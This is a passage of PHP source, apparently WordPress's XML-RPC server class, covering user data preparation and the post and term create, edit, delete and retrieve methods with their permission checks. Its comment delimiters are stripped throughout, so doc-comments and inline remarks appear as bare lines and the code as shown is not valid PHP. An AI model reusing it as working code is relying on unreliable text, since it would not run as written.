return apply_filters( 'xmlrpc_prepare_comment', $_comment, $comment );
}
*
* Prepares user data for return in an XML-RPC object.
*
* @param WP_User $user The unprepared user object.
* @param array $fields The subset of user fields to return.
* @return array The prepared user data.
protected function _prepare_user( $user, $fields ) {
$_user = array( 'user_id' => (string) $user->ID );
$user_fields = array(
'username' => $user->user_login,
'first_name' => $user->user_firstname,
'last_name' => $user->user_lastname,
'registered' => $this->_convert_date( $user->user_registered ),
'bio' => $user->user_description,
'email' => $user->user_email,
'nickname' => $user->nickname,
'nicename' => $user->user_nicename,
'url' => $user->user_url,
'display_name' => $user->display_name,
'roles' => $user->roles,
);
if ( in_array( 'all', $fields, true ) ) {
$_user = array_merge( $_user, $user_fields );
} else {
if ( in_array( 'basic', $fields, true ) ) {
$basic_fields = array( 'username', 'email', 'registered', 'display_name', 'nicename' );
$fields = array_merge( $fields, $basic_fields );
}
$requested_fields = array_intersect_key( $user_fields, array_flip( $fields ) );
$_user = array_merge( $_user, $requested_fields );
}
*
* Filters XML-RPC-prepared data for the given user.
*
* @since 3.5.0
*
* @param array $_user An array of user data.
* @param WP_User $user User object.
* @param array $fields An array of user fields.
return apply_filters( 'xmlrpc_prepare_user', $_user, $user, $fields );
}
*
* Creates a new post for any registered post type.
*
* @since 3.4.0
*
* @link https:en.wikipedia.org/wiki/RSS_enclosure for information on RSS enclosures.
*
* @param array $args {
* Method arguments. Note: top-level arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 {
* Content struct for adding a new post. See wp_insert_post() for information on
* additional post fields
*
* @type string $post_type Post type. Default 'post'.
* @type string $post_status Post status. Default 'draft'
* @type string $post_title Post title.
* @type int $post_author Post author ID.
* @type string $post_excerpt Post excerpt.
* @type string $post_content Post content.
* @type string $post_date_gmt Post date in GMT.
* @type string $post_date Post date.
* @type string $post_password Post password (20-character limit).
* @type string $comment_status Post comment enabled status. Accepts 'open' or 'closed'.
* @type string $ping_status Post ping status. Accepts 'open' or 'closed'.
* @type bool $sticky Whether the post should be sticky. Automatically false if
* `$post_status` is 'private'.
* @type int $post_thumbnail ID of an image to use as the post thumbnail/featured image.
* @type array $custom_fields Array of meta key/value pairs to add to the post.
* @type array $terms Associative array with taxonomy names as keys and arrays
* of term IDs as values.
* @type array $terms_names Associative array with taxonomy names as keys and arrays
* of term names as values.
* @type array $enclosure {
* Array of feed enclosure data to add to post meta.
*
* @type string $url URL for the feed enclosure.
* @type int $length Size in bytes of the enclosure.
* @type string $type Mime-type for the enclosure.
* }
* }
* }
* @return int|IXR_Error Post ID on success, IXR_Error instance otherwise.
public function wp_newPost( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$content_struct = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
Convert the date field back to IXR form.
if ( isset( $content_struct['post_date'] ) && ! ( $content_struct['post_date'] instanceof IXR_Date ) ) {
$content_struct['post_date'] = $this->_convert_date( $content_struct['post_date'] );
}
* Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
* since _insert_post() will ignore the non-GMT date if the GMT date is set.
if ( isset( $content_struct['post_date_gmt'] ) && ! ( $content_struct['post_date_gmt'] instanceof IXR_Date ) ) {
if ( '0000-00-00 00:00:00' === $content_struct['post_date_gmt'] || isset( $content_struct['post_date'] ) ) {
unset( $content_struct['post_date_gmt'] );
} else {
$content_struct['post_date_gmt'] = $this->_convert_date( $content_struct['post_date_gmt'] );
}
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.newPost', $args, $this );
unset( $content_struct['ID'] );
return $this->_insert_post( $user, $content_struct );
}
*
* Helper method for filtering out elements from an array.
*
* @since 3.4.0
*
* @param int $count Number to compare to one.
* @return bool True if the number is greater than one, false otherwise.
private function _is_greater_than_one( $count ) {
return $count > 1;
}
*
* Encapsulates the logic for sticking a post and determining if
* the user has permission to do so.
*
* @since 4.3.0
*
* @param array $post_data
* @param bool $update
* @return void|IXR_Error
private function _toggle_sticky( $post_data, $update = false ) {
$post_type = get_post_type_object( $post_data['post_type'] );
Private and password-protected posts cannot be stickied.
if ( 'private' === $post_data['post_status'] || ! empty( $post_data['post_password'] ) ) {
Error if the client tried to stick the post, otherwise, silently unstick.
if ( ! empty( $post_data['sticky'] ) ) {
return new IXR_Error( 401, __( 'Sorry, you cannot stick a private post.' ) );
}
if ( $update ) {
unstick_post( $post_data['ID'] );
}
} elseif ( isset( $post_data['sticky'] ) ) {
if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to make posts sticky.' ) );
}
$sticky = wp_validate_boolean( $post_data['sticky'] );
if ( $sticky ) {
stick_post( $post_data['ID'] );
} else {
unstick_post( $post_data['ID'] );
}
}
}
*
* Helper method for wp_newPost() and wp_editPost(), containing shared logic.
*
* @since 3.4.0
*
* @see wp_insert_post()
*
* @param WP_User $user The post author if post_author isn't set in $content_struct.
* @param array|IXR_Error $content_struct Post data to insert.
* @return IXR_Error|string
protected function _insert_post( $user, $content_struct ) {
$defaults = array(
'post_status' => 'draft',
'post_type' => 'post',
'post_author' => 0,
'post_password' => '',
'post_excerpt' => '',
'post_content' => '',
'post_title' => '',
'post_date' => '',
'post_date_gmt' => '',
'post_format' => null,
'post_name' => null,
'post_thumbnail' => null,
'post_parent' => 0,
'ping_status' => '',
'comment_status' => '',
'custom_fields' => null,
'terms_names' => null,
'terms' => null,
'sticky' => null,
'enclosure' => null,
'ID' => null,
);
$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
$post_type = get_post_type_object( $post_data['post_type'] );
if ( ! $post_type ) {
return new IXR_Error( 403, __( 'Invalid post type.' ) );
}
$update = ! empty( $post_data['ID'] );
if ( $update ) {
if ( ! get_post( $post_data['ID'] ) ) {
return new IXR_Error( 401, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
if ( get_post_type( $post_data['ID'] ) !== $post_data['post_type'] ) {
return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
}
} else {
if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( $post_type->cap->edit_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
}
}
switch ( $post_data['post_status'] ) {
case 'draft':
case 'pending':
break;
case 'private':
if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create private posts in this post type.' ) );
}
break;
case 'publish':
case 'future':
if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts in this post type.' ) );
}
break;
default:
if ( ! get_post_status_object( $post_data['post_status'] ) ) {
$post_data['post_status'] = 'draft';
}
break;
}
if ( ! empty( $post_data['post_password'] ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create password protected posts in this post type.' ) );
}
$post_data['post_author'] = absint( $post_data['post_author'] );
if ( ! empty( $post_data['post_author'] ) && $post_data['post_author'] != $user->ID ) {
if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
}
$author = get_userdata( $post_data['post_author'] );
if ( ! $author ) {
return new IXR_Error( 404, __( 'Invalid author ID.' ) );
}
} else {
$post_data['post_author'] = $user->ID;
}
if ( 'open' !== $post_data['comment_status'] && 'closed' !== $post_data['comment_status'] ) {
unset( $post_data['comment_status'] );
}
if ( 'open' !== $post_data['ping_status'] && 'closed' !== $post_data['ping_status'] ) {
unset( $post_data['ping_status'] );
}
Do some timestamp voodoo.
if ( ! empty( $post_data['post_date_gmt'] ) ) {
We know this is supposed to be GMT, so we're going to slap that Z on there by force.
$dateCreated = rtrim( $post_data['post_date_gmt']->getIso(), 'Z' ) . 'Z';
} elseif ( ! empty( $post_data['post_date'] ) ) {
$dateCreated = $post_data['post_date']->getIso();
}
Default to not flagging the post date to be edited unless it's intentional.
$post_data['edit_date'] = false;
if ( ! empty( $dateCreated ) ) {
$post_data['post_date'] = iso8601_to_datetime( $dateCreated );
$post_data['post_date_gmt'] = iso8601_to_datetime( $dateCreated, 'gmt' );
Flag the post date to be edited.
$post_data['edit_date'] = true;
}
if ( ! isset( $post_data['ID'] ) ) {
$post_data['ID'] = get_default_post_to_edit( $post_data['post_type'], true )->ID;
}
$post_id = $post_data['ID'];
if ( 'post' === $post_data['post_type'] ) {
$error = $this->_toggle_sticky( $post_data, $update );
if ( $error ) {
return $error;
}
}
if ( isset( $post_data['post_thumbnail'] ) ) {
Empty value deletes, non-empty value adds/updates.
if ( ! $post_data['post_thumbnail'] ) {
delete_post_thumbnail( $post_id );
} elseif ( ! get_post( absint( $post_data['post_thumbnail'] ) ) ) {
return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
}
set_post_thumbnail( $post_id, $post_data['post_thumbnail'] );
unset( $content_struct['post_thumbnail'] );
}
if ( isset( $post_data['custom_fields'] ) ) {
$this->set_custom_fields( $post_id, $post_data['custom_fields'] );
}
if ( isset( $post_data['terms'] ) || isset( $post_data['terms_names'] ) ) {
$post_type_taxonomies = get_object_taxonomies( $post_data['post_type'], 'objects' );
Accumulate term IDs from terms and terms_names.
$terms = array();
First validate the terms specified by ID.
if ( isset( $post_data['terms'] ) && is_array( $post_data['terms'] ) ) {
$taxonomies = array_keys( $post_data['terms'] );
Validating term IDs.
foreach ( $taxonomies as $taxonomy ) {
if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) {
return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
}
if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
}
$term_ids = $post_data['terms'][ $taxonomy ];
$terms[ $taxonomy ] = array();
foreach ( $term_ids as $term_id ) {
$term = get_term_by( 'id', $term_id, $taxonomy );
if ( ! $term ) {
return new IXR_Error( 403, __( 'Invalid term ID.' ) );
}
$terms[ $taxonomy ][] = (int) $term_id;
}
}
}
Now validate terms specified by name.
if ( isset( $post_data['terms_names'] ) && is_array( $post_data['terms_names'] ) ) {
$taxonomies = array_keys( $post_data['terms_names'] );
foreach ( $taxonomies as $taxonomy ) {
if ( ! array_key_exists( $taxonomy, $post_type_taxonomies ) ) {
return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
}
if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->assign_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
}
* For hierarchical taxonomies, we can't assign a term when multiple terms
* in the hierarchy share the same name.
$ambiguous_terms = array();
if ( is_taxonomy_hierarchical( $taxonomy ) ) {
$tax_term_names = get_terms(
array(
'taxonomy' => $taxonomy,
'fields' => 'names',
'hide_empty' => false,
)
);
Count the number of terms with the same name.
$tax_term_names_count = array_count_values( $tax_term_names );
Filter out non-ambiguous term names.
$ambiguous_tax_term_counts = array_filter( $tax_term_names_count, array( $this, '_is_greater_than_one' ) );
$ambiguous_terms = array_keys( $ambiguous_tax_term_counts );
}
$term_names = $post_data['terms_names'][ $taxonomy ];
foreach ( $term_names as $term_name ) {
if ( in_array( $term_name, $ambiguous_terms, true ) ) {
return new IXR_Error( 401, __( 'Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead.' ) );
}
$term = get_term_by( 'name', $term_name, $taxonomy );
if ( ! $term ) {
Term doesn't exist, so check that the user is allowed to create new terms.
if ( ! current_user_can( $post_type_taxonomies[ $taxonomy ]->cap->edit_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a term to one of the given taxonomies.' ) );
}
Create the new term.
$term_info = wp_insert_term( $term_name, $taxonomy );
if ( is_wp_error( $term_info ) ) {
return new IXR_Error( 500, $term_info->get_error_message() );
}
$terms[ $taxonomy ][] = (int) $term_info['term_id'];
} else {
$terms[ $taxonomy ][] = (int) $term->term_id;
}
}
}
}
$post_data['tax_input'] = $terms;
unset( $post_data['terms'], $post_data['terms_names'] );
}
if ( isset( $post_data['post_format'] ) ) {
$format = set_post_format( $post_id, $post_data['post_format'] );
if ( is_wp_error( $format ) ) {
return new IXR_Error( 500, $format->get_error_message() );
}
unset( $post_data['post_format'] );
}
Handle enclosures.
$enclosure = isset( $post_data['enclosure'] ) ? $post_data['enclosure'] : null;
$this->add_enclosure_if_new( $post_id, $enclosure );
$this->attach_uploads( $post_id, $post_data['post_content'] );
*
* Filters post data array to be inserted via XML-RPC.
*
* @since 3.4.0
*
* @param array $post_data Parsed array of post data.
* @param array $content_struct Post data array.
$post_data = apply_filters( 'xmlrpc_wp_insert_post_data', $post_data, $content_struct );
Remove all null values to allow for using the insert/update post default values for those keys instead.
$post_data = array_filter(
$post_data,
static function ( $value ) {
return null !== $value;
}
);
$post_id = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
if ( is_wp_error( $post_id ) ) {
return new IXR_Error( 500, $post_id->get_error_message() );
}
if ( ! $post_id ) {
if ( $update ) {
return new IXR_Error( 401, __( 'Sorry, the post could not be updated.' ) );
} else {
return new IXR_Error( 401, __( 'Sorry, the post could not be created.' ) );
}
}
return (string) $post_id;
}
*
* Edits a post for any registered post type.
*
* The $content_struct parameter only needs to contain fields that
* should be changed. All other fields will retain their existing values.
*
* @since 3.4.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Post ID.
* @type array $4 Extra content arguments.
* }
* @return true|IXR_Error True on success, IXR_Error on failure.
public function wp_editPost( $args ) {
if ( ! $this->minimum_args( $args, 5 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_id = (int) $args[3];
$content_struct = $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.editPost', $args, $this );
$post = get_post( $post_id, ARRAY_A );
if ( empty( $post['ID'] ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( isset( $content_struct['if_not_modified_since'] ) ) {
If the post has been modified since the date provided, return an error.
if ( mysql2date( 'U', $post['post_modified_gmt'] ) > $content_struct['if_not_modified_since']->getTimestamp() ) {
return new IXR_Error( 409, __( 'There is a revision of this post that is more recent.' ) );
}
}
Convert the date field back to IXR form.
$post['post_date'] = $this->_convert_date( $post['post_date'] );
* Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
* since _insert_post() will ignore the non-GMT date if the GMT date is set.
if ( '0000-00-00 00:00:00' === $post['post_date_gmt'] || isset( $content_struct['post_date'] ) ) {
unset( $post['post_date_gmt'] );
} else {
$post['post_date_gmt'] = $this->_convert_date( $post['post_date_gmt'] );
}
* If the API client did not provide 'post_date', then we must not perpetuate the value that
* was stored in the database, or it will appear to be an intentional edit. Conveying it here
* as if it was coming from the API client will cause an otherwise zeroed out 'post_date_gmt'
* to get set with the value that was originally stored in the database when the draft was created.
if ( ! isset( $content_struct['post_date'] ) ) {
unset( $post['post_date'] );
}
$this->escape( $post );
$merged_content_struct = array_merge( $post, $content_struct );
$retval = $this->_insert_post( $user, $merged_content_struct );
if ( $retval instanceof IXR_Error ) {
return $retval;
}
return true;
}
*
* Deletes a post for any registered post type.
*
* @since 3.4.0
*
* @see wp_delete_post()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Post ID.
* }
* @return true|IXR_Error True on success, IXR_Error instance on failure.
public function wp_deletePost( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.deletePost', $args, $this );
$post = get_post( $post_id, ARRAY_A );
if ( empty( $post['ID'] ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
}
$result = wp_delete_post( $post_id );
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) );
}
return true;
}
*
* Retrieves a post.
*
* @since 3.4.0
*
* The optional $fields parameter specifies what fields will be included
* in the response array. This should be a list of field names. 'post_id' will
* always be included in the response regardless of the value of $fields.
*
* Instead of, or in addition to, individual field names, conceptual group
* names can be used to specify multiple fields. The available conceptual
* groups are 'post' (all basic fields), 'taxonomies', 'custom_fields',
* and 'enclosure'.
*
* @see get_post()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Post ID.
* @type array $4 Optional. The subset of post type fields to return.
* }
* @return array|IXR_Error Array contains (based on $fields parameter):
* - 'post_id'
* - 'post_title'
* - 'post_date'
* - 'post_date_gmt'
* - 'post_modified'
* - 'post_modified_gmt'
* - 'post_status'
* - 'post_type'
* - 'post_name'
* - 'post_author'
* - 'post_password'
* - 'post_excerpt'
* - 'post_content'
* - 'link'
* - 'comment_status'
* - 'ping_status'
* - 'sticky'
* - 'custom_fields'
* - 'terms'
* - 'categories'
* - 'tags'
* - 'enclosure'
public function wp_getPost( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$post_id = (int) $args[3];
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
*
* Filters the default post query fields used by the given XML-RPC method.
*
* @since 3.4.0
*
* @param array $fields An array of post fields to retrieve. By default,
* contains 'post', 'terms', and 'custom_fields'.
* @param string $method Method name.
$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPost' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPost', $args, $this );
$post = get_post( $post_id, ARRAY_A );
if ( empty( $post['ID'] ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
return $this->_prepare_post( $post, $fields );
}
*
* Retrieves posts.
*
* @since 3.4.0
*
* @see wp_get_recent_posts()
* @see wp_getPost() for more on `$fields`
* @see get_posts() for more on `$filter` values
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Modifies the query used to retrieve posts. Accepts 'post_type',
* 'post_status', 'number', 'offset', 'orderby', 's', and 'order'.
* Default empty array.
* @type array $4 Optional. The subset of post type fields to return in the response array.
* }
* @return array|IXR_Error Array containing a collection of posts.
public function wp_getPosts( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$filter = isset( $args[3] ) ? $args[3] : array();
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPosts' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPosts', $args, $this );
$query = array();
if ( isset( $filter['post_type'] ) ) {
$post_type = get_post_type_object( $filter['post_type'] );
if ( ! ( (bool) $post_type ) ) {
return new IXR_Error( 403, __( 'Invalid post type.' ) );
}
} else {
$post_type = get_post_type_object( 'post' );
}
if ( ! current_user_can( $post_type->cap->edit_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
}
$query['post_type'] = $post_type->name;
if ( isset( $filter['post_status'] ) ) {
$query['post_status'] = $filter['post_status'];
}
if ( isset( $filter['number'] ) ) {
$query['numberposts'] = absint( $filter['number'] );
}
if ( isset( $filter['offset'] ) ) {
$query['offset'] = absint( $filter['offset'] );
}
if ( isset( $filter['orderby'] ) ) {
$query['orderby'] = $filter['orderby'];
if ( isset( $filter['order'] ) ) {
$query['order'] = $filter['order'];
}
}
if ( isset( $filter['s'] ) ) {
$query['s'] = $filter['s'];
}
$posts_list = wp_get_recent_posts( $query );
if ( ! $posts_list ) {
return array();
}
Holds all the posts data.
$struct = array();
foreach ( $posts_list as $post ) {
if ( ! current_user_can( 'edit_post', $post['ID'] ) ) {
continue;
}
$struct[] = $this->_prepare_post( $post, $fields );
}
return $struct;
}
*
* Creates a new term.
*
* @since 3.4.0
*
* @see wp_insert_term()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Content struct for adding a new term. The struct must contain
* the term 'name' and 'taxonomy'. Optional accepted values include
* 'parent', 'description', and 'slug'.
* }
* @return int|IXR_Error The term ID on success, or an IXR_Error object on failure.
public function wp_newTerm( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$content_struct = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.newTerm', $args, $this );
if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) );
}
$taxonomy = (array) $taxonomy;
Hold the data of the term.
$term_data = array();
$term_data['name'] = trim( $content_struct['name'] );
if ( empty( $term_data['name'] ) ) {
return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
}
if ( isset( $content_struct['parent'] ) ) {
if ( ! $taxonomy['hierarchical'] ) {
return new IXR_Error( 403, __( 'This taxonomy is not hierarchical.' ) );
}
$parent_term_id = (int) $content_struct['parent'];
$parent_term = get_term( $parent_term_id, $taxonomy['name'] );
if ( is_wp_error( $parent_term ) ) {
return new IXR_Error( 500, $parent_term->get_error_message() );
}
if ( ! $parent_term ) {
return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
}
$term_data['parent'] = $content_struct['parent'];
}
if ( isset( $content_struct['description'] ) ) {
$term_data['description'] = $content_struct['description'];
}
if ( isset( $content_struct['slug'] ) ) {
$term_data['slug'] = $content_struct['slug'];
}
$term = wp_insert_term( $term_data['name'], $taxonomy['name'], $term_data );
if ( is_wp_error( $term ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $term ) {
return new IXR_Error( 500, __( 'Sorry, the term could not be created.' ) );
}
Add term meta.
if ( isset( $content_struct['custom_fields'] ) ) {
$this->set_term_custom_fields( $term['term_id'], $content_struct['custom_fields'] );
}
return (string) $term['term_id'];
}
*
* Edits a term.
*
* @since 3.4.0
*
* @see wp_update_term()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Term ID.
* @type array $4 Content struct for editing a term. The struct must contain the
* term 'taxonomy'. Optional accepted values include 'name', 'parent',
* 'description', and 'slug'.
* }
* @return true|IXR_Error True on success, IXR_Error instance on failure.
public function wp_editTerm( $args ) {
if ( ! $this->minimum_args( $args, 5 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$term_id = (int) $args[3];
$content_struct = $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.editTerm', $args, $this );
if ( ! taxonomy_exists( $content_struct['taxonomy'] ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
$taxonomy = (array) $taxonomy;
Hold the data of the term.
$term_data = array();
$term = get_term( $term_id, $content_struct['taxonomy'] );
if ( is_wp_error( $term ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $term ) {
return new IXR_Error( 404, __( 'Invalid term ID.' ) );
}
if ( ! current_user_can( 'edit_term', $term_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this term.' ) );
}
if ( isset( $content_struct['name'] ) ) {
$term_data['name'] = trim( $content_struct['name'] );
if ( empty( $term_data['name'] ) ) {
return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
}
}
if ( ! empty( $content_struct['parent'] ) ) {
if ( ! $taxonomy['hierarchical'] ) {
return new IXR_Error( 403, __( 'Cannot set parent term, taxonomy is not hierarchical.' ) );
}
$parent_term_id = (int) $content_struct['parent'];
$parent_term = get_term( $parent_term_id, $taxonomy['name'] );
if ( is_wp_error( $parent_term ) ) {
return new IXR_Error( 500, $parent_term->get_error_message() );
}
if ( ! $parent_term ) {
return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
}
$term_data['parent'] = $content_struct['parent'];
}
if ( isset( $content_struct['description'] ) ) {
$term_data['description'] = $content_struct['description'];
}
if ( isset( $content_struct['slug'] ) ) {
$term_data['slug'] = $content_struct['slug'];
}
$term = wp_update_term( $term_id, $taxonomy['name'], $term_data );
if ( is_wp_error( $term ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $term ) {
return new IXR_Error( 500, __( 'Sorry, editing the term failed.' ) );
}
Update term meta.
if ( isset( $content_struct['custom_fields'] ) ) {
$this->set_term_custom_fields( $term_id, $content_struct['custom_fields'] );
}
return true;
}
*
* Deletes a term.
*
* @since 3.4.0
*
* @see wp_delete_term()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Taxonomy name.
* @type int $4 Term ID.
* }
* @return true|IXR_Error True on success, IXR_Error instance on failure.
public function wp_deleteTerm( $args ) {
if ( ! $this->minimum_args( $args, 5 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$taxonomy = $args[3];
$term_id = (int) $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.deleteTerm', $args, $this );
if ( ! taxonomy_exists( $taxonomy ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $taxonomy );
$term = get_term( $term_id, $taxonomy->name );
if ( is_wp_error( $term ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $term ) {
return new IXR_Error( 404, __( 'Invalid term ID.' ) );
}
if ( ! current_user_can( 'delete_term', $term_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this term.' ) );
}
$result = wp_delete_term( $term_id, $taxonomy->name );
if ( is_wp_error( $result ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, deleting the term failed.' ) );
}
return $result;
}
*
* Retrieves a term.
*
* @since 3.4.0
*
* @see get_term()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Taxonomy name.
* @type int $4 Term ID.
* }
* @return array|IXR_Error IXR_Error on failure, array on success, containing:
* - 'term_id'
* - 'name'
* - 'slug'
* - 'term_group'
* - 'term_taxonomy_id'
* - 'taxonomy'
* - 'description'
* - 'parent'
* - 'count'
public function wp_getTerm( $args ) {
if ( ! $this->minimum_args( $args, 5 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$taxonomy = $args[3];
$term_id = (int) $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getTerm', $args, $this );
if ( ! taxonomy_exists( $taxonomy ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $taxonomy );
$term = get_term( $term_id, $taxonomy->name, ARRAY_A );
if ( is_wp_error( $term ) ) {
return new IXR_Error( 500, $term->get_error_message() );
}
if ( ! $term ) {
return new IXR_Error( 404, __( 'Invalid term ID.' ) );
}
if ( ! current_user_can( 'assign_term', $term_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign this term.' ) );
}
return $this->_prepare_term( $term );
}
*
* Retrieves all terms for a taxonomy.
*
* @since 3.4.0
*
* The optional $filter parameter modifies the query used to retrieve terms.
* Accepted keys are 'number', 'offset', 'orderby', 'order', 'hide_empty', and 'search'.
*
